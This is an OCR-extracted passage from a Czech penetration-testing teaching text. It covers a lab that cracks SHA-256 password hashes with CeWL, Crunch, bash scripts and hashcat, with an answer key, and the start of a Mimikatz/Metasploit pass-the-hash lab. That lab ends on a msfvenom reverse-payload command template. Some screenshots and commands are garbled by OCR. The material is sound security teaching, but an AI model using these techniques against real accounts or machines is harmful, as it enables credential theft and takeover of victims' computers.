do nastroje a vysledek nasledné uloZen do textového souboru. Tento postup je v§ak
neefektivni a zadny penetracni tester by takto nepostupoval. Predpoklad pro
nasledujici postup je, Ze vySe zminéna hesla byla uloZena do textového souboru
v podobé plaintextu. DalSim ukolem je tedy z téchto hesel vytvorit hashe pomoci
haSovaciho algoritmu sha-256. Toho bude docileno pomoci vestavéné funkce, ktera
lze spustit v termindalu - sha256sum. Pokud je v§ak do této funkce zadan cely soubor,
je vytvoren hash pro soubor a nikoliv pro jednotlivé radky. Aby byl haSovan kazdy
radek zvlast, je nutné vytvorit bashovy script, ktery bude postupné nacitat
jednotlivé radky a ty nasledné zahaSuje a prida je do cilového souboru. Takovy script
pro vytvoreni souboru, ktery bude tvoren jednotlivymi hashy, miiZze vypadat
napriklad takto:
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1. #!/bin/bash

2. File="Desktop/passwdToHash.txt"

3. Lines=$(cat $File)

4. for Line in $Lines

5. do

6. echo -n $Line | sha256sum | awk '{print $1}' >> Desktop/fileWithHashes.txt
7. done

7.2.1 Vlastni postup Lab ¢. 1

Analyza souboru s hesly

Prvnim krokem pfi feSeni takovéto ulohy je analyza souboru, ve kterém jsou
obsaZena hesla. Hesla musi byt ve spravném formatu (ve formatu hashe a kazdy
hash se musi nachazet na novém radku). Pokud tomu tak neni, je nutné soubor dle
zminénych poZadavkil upravit.

Otazka €. 1 Je soubor s hesly viz Obrazek 2 usporadan tak, abych s nim mohl tester

dale pracovat?

h ~[Desktop/hashes_to_crack.txt - Mousepad

File Edit Search View Document Help

B & R C x o Q « n

1 65e84be33532fb784c4812967570eff3a682b27168c0ea7stsib2cf582e02337¢5
2 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5¢c308e2cdeck22ae2244
3 a266dc093a1f160297ba67b87caf04655bea3d724e8e4b77ab55961081426783
4 3d5cd8aedada91515d784b15c@8b1fbeb1b5c7766968054F32c312f8efhcebl2
5 dd328d586de9d6540f31536aeec863ef0ebbaefc276b62b063207bd0d207612b
6 186e30a8b043d779e55504160f10a728f207a9fc496bd7685eb915e652d41ebd
7 2d998afa784d5975f8eabbc23184f4Te5e402449595a8bc3be56b8854c18042a
8 1c8b12753602eb4a7110d170ab0666d894dd1alldb662ec366cdf69c12b59d87
o

Obrazek 2 Usporadani souboru s hashy.

Dal8im krokem je analyza typu hashe. Z vySe uvedeného obrazku (viz Obrazek 2) je
podle formatl hashli patrné, Ze jsou v tomto souboru vSechna hesla zahaSovana
pomoci jedné haSovaci funkce. Typ haSovaci funkce je nutné definovat pro nasledné
prolamovani hesla pomoci nastroje Hashcat. Nastroj Hashcat totiZ vyzaduje jako
jeden z parametrii typ hasovaci funkce. Ten lze v opera¢nim systému Kali Linux

zjistit jednoduSe pomoci nastroje hash-identifier. Vysledkem analyzy pomoci hash-
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identifier je seznam moZnych hashii, o které by se mohlo jednat, a dale seznam
hashi, které to s velkou pravdépodobnosti urcité nebudou.
Otazka ¢.2 O jaké typy hashl by se dle nastroje hash-identifier mélo s nejvétsi

pravdépodobnosti jednat?

Shell No. 1

Actions Edit View Help

TN NG A N
NN NENEY = XoXeN NEINGNE NN NI
O R S A S ’ AN T R W
AN NN N O N NSNS NN NN NN
NONENEN NN N NI e ¢ AN\ /
\\//_//\//_// \\/‘_//\//_// \\/‘_,/' \/ // \/_/ v1.2
By Zion3R
www .Blackploit.com
Root@Blackploit.com

#
#
#
#
#
"
u
"
B
B

HASH: dd328d586de9d6540f31536aeec863efOe66aefc276b62b063207bded207612bjj

Obrazek 3 Ukazka nastroje hash-identifier.

Tvorba vlastniho slovniku

Jak bylo v zadani zminéno, pokud ma tester dostupné informace, které by mohly byt
napomocné pri prolamovani hesla, je dlleZité jich vyuZit. V tomto pripadé existuje
fiktivni webova stranka 10.0.2.15/web.html, ktera patii organizaci, jejichZ hesel se
testerovi podarilo zmocnit a nyni je potiebuje prolomit. Analyzu a souhrn informaci
obsaZenych na webové strance zajisti nastroj CeWL, coZ je jeden z mnoha zakladnich
nastrojii Kali LInux. Ziskané informace bude néasledné nutné modifikovat, to zajisti

nastroj Crunch.

Analyza webu pomoci CeWL

Po spusténi nastroje CeWL se spusti prikazova radka, ve které se jako prvni zobrazi
napovéda k nastroji a jeho rliznym parametriim. Lze zde nastavit napiiklad hloubku,
do jaké bude webova stranka prochazena, minimalni délku slov uloZenych do listu,
nastaveni, zda wordlist ulozit a pfipadné pod jakym nazvem, ¢i definovat specialni
soubory, do kterych jsou ukladany e-mailové adresy nebo meta popisky z hlavicky

webu. Pokud tato napovéda neni dostupna po zapnuti nastroje nebo pokud je prikaz
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file:///_/A_
http://iMMV.Blackploit.com
http://RootaBlackploit.com

zadavan primo z prikazové radky, 1ze napovédu zobrazit jednodu$e pomoci prikazu
cewl -h.

kali@kali: ~
File Actions Edit View Help

10.0.2.15/web.html 1 wordList.txt A |

Obrazek 4 Prikaz pro pouziti nastroje CeWL.

Otazka €. 3 Obecné jaké informace bude wordlist obsahovat, pokud v CLI bude zadan

pfikaz s témito parametry (viz Obrazek 4)?

Vysledkem je textovy soubor obsahujici slova, fraze ¢i ¢isla obsazena na webové
strance. Tento samotny wordlist miiZe byt pouZit k prolamovani hesel. Je ale zfejmé,
Ze pravdépodobnost vyskytu nékterych hesel v obsahu webové stranky, je velmi
mala. I tak je zde vSak velmi dobry zaklad pro vytvoreni slovniku. Ze stranky je
mozné dostat informace, jako jsou napft. e-maily, jména, prijmeni ¢i datumy narozeni
od kontaktnich osob zminénych na webu. Pomoci jednoduché modifikace (napf.
vyuzitim nastroje Crunch) je moZné tyto udaje kombinovat ¢i k nim néjaké
informace pridat. Takto modifikovany slovnik mtiZe byt jiZ dostacujici k prolomeni

méné zabezpecenych hesel.

Modifikace wordlistu pomoci Crunch

Tento krok je zasadni pri tvorbé slovniku. Pomoci nastroje CeWL je ziskan zakladni
list slov, ktera budou nasledné zpracovana. Pro tvorbu slovniku je nutné znat
mysleni uZivatele p¥i tvorbé hesla a také je dlileZité zohlednit obecné poZadavky pro
tvorbu hesla. Obecné naroky na heslo jsou nasledujici. Heslo musi obsahovat
alesponi 6 znaki, z toho alespoii jedno malé a jedno velké pismeno a minimalné
jedna Cislice. DalSi skute¢nosti je informace o tom, jak uzivatelé tvori hesla. Hesla je
nutné si pamatovat, proto stale velké mnoZstvi uzivatelli vytvari sva hesla napiiklad
kombinaci prvniho pismena jejich jména a celého prijmeni ¢i naopak. Dale pak tento

Fetézec doplni napiiklad o rok narozeni ¢i jiny diilezity datum.
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Prvnim krokem modifikace je odstranéni diakritiky ze souboru, ktera neni pfi
tvorbé hesla vétSinou podporovana. Pomoci nasledujiciho prikazu v CLI je moZné
upravit textovy soubor tak, Ze jsou zménéna pismena s diakritikou na odpovidajici

pismena bez diakritiky a vSe je uloZeno do nového souboru.

iconv -t ASCII//TRANSLIT wordList.txt > analyzaBezDK.txt

Nasledné jsou vytvoreny dva nové textové soubory. V prvnim z nich jsou
konvertovany veSkeré texty ze souboru analyzaBezDK.txt na malé znaky
a ve druhém souboru jsou konvertovany na znaky velké. Toho je dosaZeno pomoci

téchto prikazi:

1. tr "[:upper:]' '[:lower:]' < analyzaBezDK.txt > analyzalower.txt
2. tr '[:lower:]" '[:upper:]" < analyzaBezDK.txt > analyzaUpper.txt

Dale je nutné tyto tfi vytvorené soubory sjednotit do jednoho, ktery bude nasledné
modifikovan pomoci nastroje Crunch. Toho je dosaZeno opét pomoci jednoduchého

prikazu:

cat analyzalower.txt analyzaUpper.txt analyzaBezDK.txt > crunchPrep.txt.

Toto jsou zakladni funkce zahrnuté v linuxovém CLI. Pomoci nich byla provedena
zakladni modifikace slovniku vytvoreného pomoci nastroje CeWL. Takto pripraveny
soubor je moZné zacit finalné modifikovat pomoci nastroje Crunch.

Prvnim krokem modifikace je pridani ¢tyfmistného cisla reprezentujictho datum
narozeni ¢i jinak uZivatelsky dilezity datum za kaZdy retézec. Vzhledem k tomu, Ze
nastroj Crunch dokaZe generovat tyto posloupnosti ¢isel pouze samostatné nebo
dokaZe prigenerovat posloupnost k jednomu predem definovanému slovu, je
zapotrebi vytvorit jednoduchy bash script. Jeho ukolem je vzit vZdy jeden radek
z predpripraveného slovniku a prigenerovat k nému vesSkeré moZné kombinace
¢tyimistnych cisel. Vysledky jsou nasledné ukladany do nové vytvoreného souboru.
Tento postup je pro vSechny radky nachazejici se v souboru crunchPrep.txt. Ukazka

bash scriptu pro zminénou funkci:
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#!/bin/bash
File="crunchPrep.txt"
Lines=$(cat $File)
for Line in $Lines
do
n=${#Line}
nFin=$(($n + 4))
crunch $nFin $nFin -t $Line%%%% >> NewFile.txt

VCoOoONOOTUVTE WNER

done

Otazka ¢. 4 Jak Ize poupravit ptikaz pro spusSténi bashového skriptu tak, aby nebylo

nutné nastroji Crunch po kazdé iteraci zadavat hodnotu y/n do radku CLI?

Vysledkem je soubor, ktery obsahuje piivodni fetézce se vSemi moZnymi
kombinacemi ¢tyfmistnych Cisel. Pro generovani posloupnosti specialnich znakd,
Cisel a pismen slouZi v nastroji Crunch parametr -t. Pomoci tohoto parametru se
definuje urcity pocet novych znakil pridanych k definovanému retézci. Kazdy typ
znaku ma svlj zastupny charakter, pomoci kterého nastroj rozpozna
prigenerovanou ¢ast od ptivodniho Fetézce.

Tabulka 2 Zastupné znaky v nastroji Crunch.

Zastupny znak Zastupna sada znaka
@ Mala pismena

, Velka pismena

% Cisla

A Specialni znaky

V tomto konkrétnim pripadé je ukolem generovat ke kazdému radku 4 cisla na
konec Tetézce, coZ je moZné zapsat pomoci zastupnych znakd procenta
(pt. retézec% %% %).

Dal$im zptlisobem, jak modifikovat heslo, je piidani pismena na zacatek retézce. To
miiZe simulovat situaci, kdy si uZivatel tvofi heslo tak, Ze vezme prvni pismeno ze
svého jména a doplni ho celym prijmenim ¢i naopak. Postup je stejny jako v pripadé
generovani posloupnosti ¢isel na konec retézce. Je nutné pouze upravit script tak,

aby vkladal na prvni misto retézce velké pismeno.
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Otazka ¢.5 Vlozte upraveny kod scriptu pro vloZeni riiznych prvnich pismen

ke kazdému fetézci ve slovniku.

Tento postup je nutné provést pro oba pripravené soubory (soubor crunchPrep.txt
a soubor obsahujici vSechny fetézce v kombinaci se ¢tyfmistnymi Cisly na konci
kazdého zaznamu). Vzhledem k velkému mnoZstvi moZnych kombinaci a omezené
rychlosti virtualniho pocitaCe je generovani jednotlivych hodnot velice ¢asové
naroc¢né. Z toho diivodu je tento posledni, nejvétsi soubor s retézci moZnych hesel
priloZen zde (viz GitHub repozitar > Lab c. 1 > FileWithNumbersAndBigChar.txt) za
ucelem, aby nedochazelo ke zbytetnym prodlevam v ramci feSeni labu. Proces
generovani hesel je mozné urychlit pomoci paralelizace jednotlivych ptikazt
v bashovém scriptu (na konec radku, ktery ma za ukol vytvorit danou kombinaci
hesla pomoci nastroje Crunch, Ize vlozit znak &). Je vSak nutné predem povolit
virtudlnimu pocitac¢i vétsi mnoZstvi prostiedkli a mit ve fyzickém pocitaci
dostate¢né mnozstvi vypocetniho vykonu.

Poslednim krokem pri ukazkové tvorbé slovniku je sloucit vytvorené dil¢i soubory
do jednoho velkého slovniku, ktery bude nasledné pouzit k prolamovani hesel.
Pomoci prikazového Fadku a prikazu cat dojde ke spojeni soubori a vytvoreni

vysledného slovniku. Soubory, které je nutné spojit:

1. soubor obsahujici fetézce stazené z webu pomoci nastroje CeWL
u kterych je odstranéna diakritika a jsou ve varianté s velkymi i malymi
pismeny,

2. soubor obsahujici prvky z bodu jedna, kdy kaZzdy retézec ma na konci
doplnéné ctyimistné ¢islo od 0000 do 9999,

3. soubor obsahujici prvky z bodu jedna, kdy kazdy retézec ma na zacatku
doplnéné velké pismeno od A poZ,

4. posledni soubor kombinujici prvky z bodu 2 a 3.

vvvvvv

vvvvvv

pripravé na prolamovani hesla. Diky spravné vytvorenému slovniku roste Sance na

prolomeni co mozna nejvice hesel. V ramci tohoto labu je pouze nastinén postup
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a zakladni kroky pri tvorbé slovniku s ohledem na ¢asovou naro¢nost a komplexnost

labu.

Prolamovani hesla za pomoci nastroje Hashcat

K prolomeni souboru se zahaSovanymi hesly je pouzit 1) slovnik obsaZeny defaultné

v systému Kali Linux, 2) slovnik vytvoreny v predchozich ¢astech labu.

Pouziti slovniku rockyou

Pred vlastnim spu$ténim slovniku je potfeba ovérit, zda je slovnik rockyou
nainstalovan. To je moZné zjistit pomoci zadani prikazu Is -Ih /usr/share/wordlists/

do CLI. Vysledkem je nasledujici vystup:

O

kali@kali: ~

File Actions Edit View Help

f/usr/share/wordlists/

=
[=]
[=]
—+
[=]
o
—

— Jusr/share/set/src/fasttrack/wordlist.txt

john/password.lst

e/nmap/nselib/ /passwords.lst

r/share/sqlmap/d 4 iordlist.txt

1r
1
1
i
1
i
i
1
1
1r
i
1
1r

— /usr/share/dict/wordlist-probable.txt

Obrazek 5 Prehled slovnikii obsaZenych v Kali Linux.

Na vystupu (viz Obrazek 5) je moZné vidét, Ze sytém obsahuje zazipovany slovnik
rockyou.  Odzipovani se provadi pomoci prikazu sudo  gunzip
/Jusr/share/wordlists/rockyou.txt.gz.V tomto kroku bylo zjiSténo, Ze slovnik rockyou

je dostupny na adrese: /usr/share/wordlists/rockyou.txt.

Prolamovani pomoci slovniku rockyou
Nastroj Hashcat, jak jiZ bylo zminéno vySe, obsahuje rtizné typy utoki a jejich
kombinace. Tato uloha se soustredi pouze na piimy utok. Cilem primého utoku je
prolomit co nejvice hesel pouze pomoci definovaného slovniku. Pro tento utok je

nutné definovat:

52



o slovnik, pomoci kterého budou hesla prolamovana,

. soubor se zahaSovanymi hesly,

. typ utoku,

. typ hashe, pomoci kterého jsou hesla zahaSovana.

Napovédu pro nastroj Hashcat je moZné spustit pomoci zadani prikazu hashcat -

help. Typ utoku a typ hashe se definuje v napovédé.

Otazka ¢€.6 Jaké hodnoty maji udaje pro definici typu hashe a typu ttoku?

Po zjiSténi téchto idajli je moZné provést prvni utok. Nastroj je nutné spoustét pod
rootovskymi opravnénimi. Utok je tedy potieba spoustét v root terminalu nebo je
nezbytné zadat pred prikaz sudo a nasledné zadat heslo pro pristup do systému.

Samotny piikaz pro spu$téni nastroje je nasledujici:

sudo hashcat -a X -m YYYY -0 outputFile.txt hashes_to_crack.txt
/usr/share/wordlists/rockyou. txt.

Pomoci tagu -a a nasledného Cisla X je definovan typ utoku (v tomto ptipadé pfimy
slovnikovy tutok). Dale pomoci -m a zastupnych znakii YYYY je definovana hodnota
pro typ hashe, pomoci kterého je soubor se zahaSovanymi hesly zahaSovan.
Parametr -o udava do jakého souboru bude vysledek uloZen. DalSi z informaci

obsaZenych v piikazu je cesta k souboru se zahaSovanymi hesly. Poslednim tidajem
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je cesta ke slovniku, pomoci kterého budeme utok provadét (v tomto pripadé

slovnik rockyou).

File Actions Edit View Help

Obrazek 6 Vystup z nastroje Hashcat.
Na obrazku (viz Obrazek 6) je moZné vidét vystup z nastroje Hashcat po provedeni
prikazu. V prvni Casti je zobrazen poclet nalezenych a nasledné prolamovanych
hashii (v tomto piipadé bylo nacteno 7 rtiznych hashii). V druhé ¢asti vystupu jsou
uvedeny informace o velikosti paméti potrebné k provedeni utoku, o slovniku,
o velikosti souboru, misto kde je soubor uloZeny a také napf. o poctu hesel
obsaZenych ve slovniku. V posledni ¢asti reportu jsou udaje o tom, jakym hashem
byla hesla zahaSovana, kde se soubor s hesly nachazi, jak dlouho trvalo nastroji
Hashcat dokoncit sviij béh a mnoho dalSich.

Pro nas test je klicovy radek Recovered, ktery rika, kolik hesel z daného souboru se
podarilo nastroji obnovit. Pomoci slovniku rockyou se tedy podarilo prolomit dvé
hesla ze sedmi. O jaka konkrétni hesla se jedna, je moZné zjistit otevienim souboru
nebo zadanim ptikazu sudo cat outputFile.txt, ktery do konzole vypiSe prolomena
hesla. Na nasledujicim obrazku (viz Obrazek 7) je moZné vidét, Ze se nastroji

podarilo prolomit hesla “qwerty” a “test1234”.
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Obrazek 7 Ukazka prolomenych hesel pomoci slovniku rockyou.

Prolamovani pomoci slovniku vytvoreného v tomto labu

V predchozim bodu byl pouZzit obecny slovnik rockyou obsahujici hesla, ktera byla
jiZ nékdy v minulosti prolomena. Z ptivodniho seznamu sedmi hesel vsak tento
slovnik prolomil jen dvé. Zbyla hesla v seznamu byla vSak silna anebo orientovana
na dané odvétvi, ve kterém jsou tato hesla pouZivana. Proto je diileZité vidy
definovat specificky slovnik pro danou organizaci, coZ je obsahem tohoto labu.
Slovnik byl tvofen dle informaci sesbiranych z fiktivniho webu spole¢nosti.

Nyni je potreba ovérit, zda se vyplati vytvaret customizované slovniky.

Prikaz pro spuSténi nastroje je stejny jako v predchozim bodé. V tomto pripadé je

pouzit ale jiny slovnikovy soubor.

sudo hashcat -a © -m 1400 -o crackedpasswdsMy.txt Desktop/hashes_to_crack.txt
Desktop/finalDict.txt

Wed Jul
Pure Kernel

:1 Thr:1 Vec:
) s (new)

Digest

ice Generator
¥Xreditel999@ — Freditel9999

Util:

Wed Jul 26
Wed Jul 26

Obrazek 8 Vystup z nastroje Hashcat pri pouZiti customizovaného slovniku.

55



Vysledek je uveden na obrazku (viz Obrazek 8). Z fadku Recovered je moZné vycist,
7e doslo k prolomeni celkem 5 hesel z daného souboru (v tomto i predchozim

kroku). Pomoci customizovaného slovniku byla tedy prolomena tfi hesla.

cra;:kédpasswdshy txt
'I'"bbblf_zgt 1"341""9 d4cede

Obrazek 9 V}’Ipis hesel prolomenych pomoci customizovaného slovniku.

Po vypsani hesel do konzole je moZné vidét, Ze vSechna tfi prolomena hesla jsou
néjakym zplisobem spjata s informacemi obsaZenymi na webu fiktivni organizace.
Jedna se o hesla poskladana ze jména ¢i prijmeni, data narozeni nebo pracovni
pozice. Z vysledku vyplyva, Ze se vyplaci tvorit specifické slovniky pro utoky na
specifické organizace.

Hesla, ktera nebyla prolomena:

o a_z@bezp3ceny,

. PHzPKL_dp-2023,

Tato neprolomena hesla byla vytvorena pomoci pokrocilych technik tvorby hesel
(napf. pomoci mnemonické metody) a dodrZuji veSkera predepsana pravidla pro

tvorbu hesel (velka a mala pismena, Cisla, specialni znaky a délka).

7.2.2 ZavérLab¢. 1

Lab ¢.1 slouZil jako uvod do problematiky prolamovani hesel za pomoci néstrojt
operacniho systému Kali Linux. Cilem labu bylo nastinit reSiteli modelovou situaci
z pohledu penetra¢niho testera. V dané situaci bylo testerovym tkolem prolomit co
nejvice hesel ze ziskaného souboru se zahaSovanymi hesly. Napomocné mu byly
vestavéné nastroje systému Kali Linux. Pomoci nich nejdrive soubor s hesly
analyzoval, nasledné sestavil slovnik a v poslednim kroku se snazil prolomit hesla
v daném souboru. ReSitel se tak seznamil s nastrojem pro rozpoznani hashfi
s ndzvem hash-identifier a dale s nastroji CeWL a Crunch slouZici k tvorbé slovnikd.
Poslednim nastrojem, se kterym byl reSitel seznamen, byl Hashcat, ktery byl vyuzit
k vlastnimu prolamovani hesel.

Pro ulohu byla zvolena hesla se tfemi riiznymi obtiZnostmi prolomeni. Tato hesla

byla konstruovana tak, aby bylo nutné kombinovat rizné slovniky a nedoslo
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k prolomeni vSech hesel v prvnim kroku prolamovani hesla. Prvni, nejslabsi, hesla
byla zvolena tak, aby byla prolomena pomoci béZné dostupného obecného slovniku
rockyou. Dalsi urovni byla hesla, k jejichZ prolomeni bylo zapotrebi vytvorit vlastni
slovnik. Tento slovnik se skladal z informaci obsaZenych na webové strance fiktivni
organizace, na kterou mél utok cilit. Posledni urovni hesel byla sloZita hesla tvofena
podle pokrocilych metod pro tvorbu hesel. Tato hesla neméla byt prolomena

Zadnym ze slovnikd.
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Reseni otazek Lab ¢. 1

Otazka €. 1 Je soubor s hesly na Obrazek 1 Ukazka nastaveni v programu VirtualBox.
usporadan tak, abych s nim mohl tester dale pracovat?

Odpovéd ¢. 1 ANO

Otazka ¢. 2 O jaké typy hashl by se dle nastroje hash-identifier mélo s nejvétsi
pravdépodobnosti jednat?

Odpovéd’ ¢. 2 SHA-256 nebo Haval-256

Otazka ¢. 3 Obecné jaké informace bude wordlist obsahovat, pokud v CLI bude
zadan prikaz s témito parametry?

Odpovéd’ ¢.3 Obsah ze stranky 10.0.2.15/web.html, ktery je delSi nez 4 znaky.
Analyza plijde do hloubky stranky 1 a vysledek bude uloZen do souboru

wordList.txt.

Otazka ¢. 4 Jak Ize poupravit ptikaz pro spusSténi bashového skriptu tak, aby nebylo
nutné nastroji Crunch po kazdé iteraci zadavat hodnotu y/n do radku CLI?

Odpovéd’ ¢. 4 Pri spousténi scriptu v CLI dat pred ptikaz ,yesy |

Otazka €. 5 VloZte upraveny kod scriptu pro vloZeni rtiznych prvnich pismen ke
kazdému retézci ve slovniku.

Odpovéd ¢. 5

1. #!/bin/bash

2. File="NewFile.txt"

3. Lines=$%(cat $File)

4. for Line in $Lines

5. do

6 n=${#Line}

7 nFin=$(($n + 1))

8 crunch $nFin $nFin -t $Line >> NewFileFirstNumbers.txt
9. done

Otazka €. 6 Jaké hodnoty maji tidaje pro definici typu hashe a typu utoku?
Odpovéd’ ¢. 6 Typ utoku ,,0“ typ hashe ,, 1400
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7.3 Lab ¢&. 2 - Utok pass the hash pomoci ndstroje mimkatz
a Metasploit

Lab ¢.2 je zaméfen na pouZiti nékolika vestavénych néstrojii opera¢niho systému

Kali Linux. Pokud jsou splnény veSkeré kroky z kapitoly Spole¢tné pozadavky, jsou

nastroje pouzité v tomto labu jiZ predinstalované ve virtualnim pocitaci.

Potfebné nastroje:

e Metasploit

e Mimikatz
Dal8i potrebné atributy:

e v ramci této ulohy bude zapotrebi instalatni soubor pro Windows XP, ktery

bude dostupny zde (viz GitHub repozitar > Lab c. 2 > [SO.txt)
Casové naro¢nost: 35 a% 45 minut.

Cil ulohy
Cilem tohoto labu je seznamit reSitele se zakladnimi nastroji obsaZenymi v systému
Kali Linux. Jedna se o ndastroje Metasploit a Mimikatz. Pomoci téchto nastroji se
resitel seznami se zpiisoby, jak ziskat kontrolu nad pocita¢em nachézejicim se ve
stejné siti. Po prevzeti kontroly bude reSitelovym ukolem ziskat veSkera hesla
slouZzici pro pristup do opera¢niho systému. Dale budou reSiteli ukazany i ostatni

metody, jak sledovat a kontrolovat pocitac obéti.

Seznameni s nastroji
Metasploit je velice uzite¢ny nastroj pouzivany penetra¢nimi testery. Jeho hlavnimi
vyhodami jsou robustnost a skutecnost, Ze se jedna o open-source framework. Diky
tomu mohou riizni vyvojari vytvaret a modifikovat nové funkce. Framework
Metasploit obsahuje velké mnoZstvi funkci. V tomto labu v§ak budou zminény pouze
ty nezbytné funkce, které budou zapotrebi k provedeni tlohy dle zadani.
Dal8im nastrojem pouZzitym v této uloze je nastroj Mimikatz. Diky tomuto nastroji je

mozné na platformé Windows provést utok Pass-the-hash. Tento utok lze provést
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diky skutec¢nosti, Ze operacni systém Windows XP uchovava hesla v paméti. Takto
1ze ziskat prihlaSovaci udaje pro veSkeré uzivatele, ktefi kdy byli k danému pocitaci

prihlaseni.

Fiktivni use case

Modelova situace miiZe mit nasledujici scénar. Re$itel je v podobé hackera, ktery se
chce zmocnit uZivatelova pocitace ve stejné siti, ve které se nachazi i on sam. Dale je
jeho cilem zjistit, zda se v uZivatelové pocitace nenachazi heslo administratora. To
se v pocitaci uklada i pokud se administrator do pocitae prihlasil pouze jednou
(napf. za ucelem instalace néjakého programu). Pokud se mu podafi objevit
v pocita¢i administratorovo heslo, je moZné se pod administratorskymi pravy
prihlasit do systému a ziskat nad nim plnou kontrolu. Déale se mliZe tito¢nik pokusit
ziskat dal$i data z pocitate (napf. screeny obrazovky, webkamery) i zapnout
keyloggeru na uZzivatelové pocitaci. Cilem utoc¢nika je tedy vyuZit funkci nastrojt

Metasploit a Mimikatz a diky nim ziskat veSkeré vySe uvedené informace.

Nastaveni potiebné pro provedenilabu

JelikoZ utok pomoci nastroje Mimikatz je moZné provést jen na platformé Windows,
je nutné, aby v ramci tohoto labu byl do VirtualBoxu pfidan novy virtudlni pocitac
s opera¢nim systémem Windows. Pro jednoduchost a menS$i zatiZeni fyzického
pocitace byl zvolen operacni systém Windows XP.

V prvni radé je nutné stahnout ISO soubor dostupny zde (viz GitHub repozitar > Lab
c. 2 > [SO.txt). Dals$im krokem po stazeni ISO souboru je spusténi VirtualBoxu -
kliknutim na tla¢itko New se spusti dialog pro pridani nového virtualniho pocitace.
Nasledné je nutné projit celym instalatnim procesem a vybrat typ operacniho
systému a jeho verzi. Pfifazeni paméti musi byt alespoii 512 MB (zde je velikost
paméti na zvaZeni dle prostiedkli dostupnych v feSitelové pocitaci). Po pridani
nového virtualniho PC, je moZné ho spustit a projit zakladni instalaci Windows.

Ve chvili, kdy je systém spustén, je potfeba vytvorit administratorsky ucet a ucet
béZného uZzivatele. Tyto Ucty jsou vytvareny kviili postupu zjisténi hesel pfi utoku
na pocita¢. Aby byly prihlaSovaci udaje jednotné a vysledky bylo mozné na konci

porovnat, budou nastaveny prihlasovaci udaje takto:
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Tabulka 3 Tabulka s prihlasovacimi udaji pro systém Windows XP.

Nazev uctu Heslo
admin admin
user user

Utty a hesla Ize vytvorit v nastaveni po rozkliknuti nabidky Start > Control Panel >
User Accounts. Ve chvili, kdy je Windows XP nainstalovany a ucty uZivateld zaloZené,

je mozZné se pustit do samotného reSeni labu.

7.3.1 Vlastni postup Lab ¢. 2

Prvnim krokem potupu tohoto labu je spusténi obou virtudlnich strojii najednou
(Kali Linux a Windows XP). Je nutné u obou nastavit takovy pocet dostupnych jader
procesoru a povolené operacni paméti, aby virtualni pocitace fungovaly hladce, ale
zaroven nedochazelo ke zpomaleni fyzického pocitace. Rychlost béhu Windows XP
1ze vylepSit vypnutim grafického m6du pomoci kliknuti na plochu pravym tlacitkem,
vybrani moZnosti Properties a na zaloZce Themes vybranim z nabidky Select

moznost Windows Classic.

Zjisténi sité, ve které se pocitace nachazeji
Pro zji$téni, zda se nachazeji oba pocitace ve stejné siti, je u obou virtualnich strojt
nutné zménit nastaveni sité na ,host-only“, coz je interni VLAN spojeni obou
pocitaci. Toto nastaveni lez provést ve VirtualBoxu po vybrani daného virtualniho
pocitace, kliknout na tlac¢itko nastaveni, najit v levém menu polozku Sit a zde
v Selectu vybrat z nabidky polozku ,Sit pouze s hostem®. Pokud je toto nastaveno

u obou pocitacii, je mozné se presvédcit, Ze jsou oba ve stejné siti. U pocitace
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s opera¢nim systémem Kali Linux je nutné do CLI zadat prikaz ip address show, kde

je mozné vidét IP adresu tohoto pocitaCe u portu eth0.

) address s
<LOOPBACK IER > 65536 gdisc eue state UNKNOWN group default glen 100@
link/loopback @ 00 brd 00
inet 3 sC host lo
preferred_1ft forever
pe host

r preferred_1ft forever
ULTICAST,UP,LOWER_UP> mtu 1580 gdisc fq_codel state UP group default glen 10080
i53:0c:ba brd ff:ff:ff:ff:ff:ff
scope global dynamic noprefixroute eth@
red_1ft 57@sec
/64 pe link noprefixroute
valid_lft forever preferred_1ft forever

Obrazek 10 Vypis v Kali Linux po zadani prikazu IP address show do CLI.

Na obrazku vySe (viz Obrazek 10) je mozné vidét, Ze IP adresa pro tento pocitac je
192.168.56.101. Obdobné jo moZné na virtudlnim pocitaci s operanim systémem

spustit v prikazové radce command ipconfig, ktery vypiSe obdobné informace.

C:~Documents and Settings™Administratorripconfig

Hindows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix
IP Address. . . . . .

Subnet Mask . . . .

Default Gateway . . .

192.168.56.1682
255.255.255.8

C:“Documents and Settings“Administrator>ping 172.168.56.1081
Pinging 192.168.56.1081 with 32 hytes of data:

Reply from 192 _.168.5%6.101: bytes=32 time<ims TTL=64
192.168.56.181: bytes=32 time{ims TTL=64
192 168.56.181: bytes=32 time<{ims TTL=64
Reply from 192 .168.5%6.181: bytes=32 time<ims TTL=b4

Ping statistics for 172.168.56.181:

Packets: Sent = 4, Received = 4, Lost = 8 (Bx loss)>,
Approximate round trip times in milli—seconds:

Hinimum = Bms, MHaximum = Bms,. Average = Bms

Obrazek 11 Vypis ve Windows XP po zadani prikazu
ipconfig. Dalsi prikaz je zde vypsan ping s adresou
pocitace se systémem Kali Linux.
Na obrazku vyse (viz. Obrazek 11) je moZné vidét IP adresu (192.168.56.102.)
pocitace s OS Windows XP a nasledny prikaz ping, pomoci kterého lze zjistit, zda
spolu mohou obé zarizeni komunikovat. Zde je vidét, Ze spojeni je navazano
a pocitac se systémem Windows dostava odpovédi od pocitace se systémem Kali

Linux.
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Otazka ¢€.1 Proc¢ neni moZné provést pozadavek ping z pocitace s OS Kali Linux?
Respektive pro¢ po zadani ping 192.168.56.102 v pocitaci s OS Kali Linux dojde

k time-outu?

Vytvoreni souboru s navnadou pro ziskani pristupu do uZivatelova PC
V potitaci se systémem Kali Linux je nejdiive nutné spustit prikazovou radku se
zvySenymi opravnénimi, aby bylo mozné zadavat dalSi prikazy, které je nutné
spoustét pravé v modu s rozsSirenymi opravnénimi. Do tohoto médu se l1ze dostat
pomoci ptikazu sudo su a nasledném zadanf hesla. Ze je CLI v privilegovaném médu

1ze poznat takto (viz Obrazek 12).

[sudo] password for kali:

/home/kali

Obrazek 12 Spusténi privilegovaného modu
v CLL

DalS$im krokem je nastaveni payloadu pomoci pfikazu msfvenom. Payload je
zlomyslny script, ktery uto¢nik vyuZziva k tomu, aby kompromitoval cilené zarizeni

a ziskal nad nim kontrolu.

msfvenom -p (typ payloadu) lhost=(poslouchajici IP) lport=(port, ktery bude poslouchan) -f
(format souboru) > vystupni soubor

VySe je mozné vidét syntaxi prikazu msfvenom, kdy parametr -p specifikuje o jaky
typ payloadu se bude jednat, parametr lhost definuje IP adresu, ktera bude
naslouchat. Dale je zde parametr Iport definujici port, ktery bude poslouchan.
Poslednim parametrem je -f, pomoci kterého lze definovat format vystupniho
souboru.

